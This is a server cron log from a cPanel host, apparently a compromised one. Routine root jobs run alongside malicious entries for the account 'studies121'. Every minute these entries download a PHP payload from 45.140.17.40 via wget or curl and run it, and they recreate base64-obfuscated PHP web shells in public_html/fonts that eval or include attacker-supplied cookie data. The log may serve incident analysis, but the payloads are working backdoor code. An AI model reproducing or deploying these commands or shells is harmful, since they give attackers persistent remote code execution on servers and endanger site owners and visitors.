Sep 11 03:32:01 ip-184-168-122-23 CROND[22901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:33:01 ip-184-168-122-23 CROND[22992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:33:01 ip-184-168-122-23 CROND[22995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:33:01 ip-184-168-122-23 CROND[22994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:33:01 ip-184-168-122-23 CROND[22996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:34:01 ip-184-168-122-23 CROND[23109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:34:01 ip-184-168-122-23 CROND[23110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:34:01 ip-184-168-122-23 CROND[23111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:34:01 ip-184-168-122-23 CROND[23112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:34:01 ip-184-168-122-23 CROND[23113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:35:02 ip-184-168-122-23 CROND[23220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:35:02 ip-184-168-122-23 CROND[23223]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 03:35:02 ip-184-168-122-23 CROND[23228]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:35:02 ip-184-168-122-23 CROND[23222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:35:02 ip-184-168-122-23 CROND[23224]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:35:02 ip-184-168-122-23 CROND[23225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:35:02 ip-184-168-122-23 CROND[23226]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 03:35:02 ip-184-168-122-23 CROND[23227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:36:01 ip-184-168-122-23 CROND[23344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:36:01 ip-184-168-122-23 CROND[23346]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:36:01 ip-184-168-122-23 CROND[23348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:36:01 ip-184-168-122-23 CROND[23347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:36:01 ip-184-168-122-23 CROND[23349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:37:01 ip-184-168-122-23 CROND[23538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:37:01 ip-184-168-122-23 CROND[23540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:37:01 ip-184-168-122-23 CROND[23539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:37:01 ip-184-168-122-23 CROND[23541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:37:02 ip-184-168-122-23 anacron[19374]: Job `cron.daily' started
Sep 11 03:37:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[23551]: starting logrotate
Sep 11 03:37:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[23573]: finished logrotate
Sep 11 03:37:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[23551]: starting man-db.cron
Sep 11 03:37:03 ip-184-168-122-23 run-parts(/etc/cron.daily)[23584]: finished man-db.cron
Sep 11 03:37:03 ip-184-168-122-23 anacron[19374]: Job `cron.daily' terminated
Sep 11 03:37:03 ip-184-168-122-23 anacron[19374]: Normal exit (1 job run)
Sep 11 03:38:01 ip-184-168-122-23 CROND[23656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:38:01 ip-184-168-122-23 CROND[23658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:38:01 ip-184-168-122-23 CROND[23661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:38:01 ip-184-168-122-23 CROND[23659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:38:01 ip-184-168-122-23 CROND[23660]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:39:01 ip-184-168-122-23 CROND[23746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:39:01 ip-184-168-122-23 CROND[23748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:39:01 ip-184-168-122-23 CROND[23751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:39:01 ip-184-168-122-23 CROND[23753]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 03:39:01 ip-184-168-122-23 CROND[23754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:40:01 ip-184-168-122-23 CROND[23865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:40:01 ip-184-168-122-23 CROND[23868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:40:01 ip-184-168-122-23 CROND[23870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:40:01 ip-184-168-122-23 CROND[23871]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:40:01 ip-184-168-122-23 CROND[23872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:40:01 ip-184-168-122-23 CROND[23873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:40:01 ip-184-168-122-23 CROND[23878]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 03:40:01 ip-184-168-122-23 CROND[23877]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:41:02 ip-184-168-122-23 CROND[24012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:41:02 ip-184-168-122-23 CROND[24014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:41:02 ip-184-168-122-23 CROND[24015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:41:02 ip-184-168-122-23 CROND[24016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:42:01 ip-184-168-122-23 CROND[24123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:42:01 ip-184-168-122-23 CROND[24125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:42:01 ip-184-168-122-23 CROND[24128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:42:01 ip-184-168-122-23 CROND[24126]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:42:01 ip-184-168-122-23 CROND[24127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:43:01 ip-184-168-122-23 CROND[24248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:43:01 ip-184-168-122-23 CROND[24251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:43:01 ip-184-168-122-23 CROND[24253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:43:01 ip-184-168-122-23 CROND[24252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:44:01 ip-184-168-122-23 CROND[24442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:44:01 ip-184-168-122-23 CROND[24445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:44:01 ip-184-168-122-23 CROND[24446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:44:01 ip-184-168-122-23 CROND[24447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
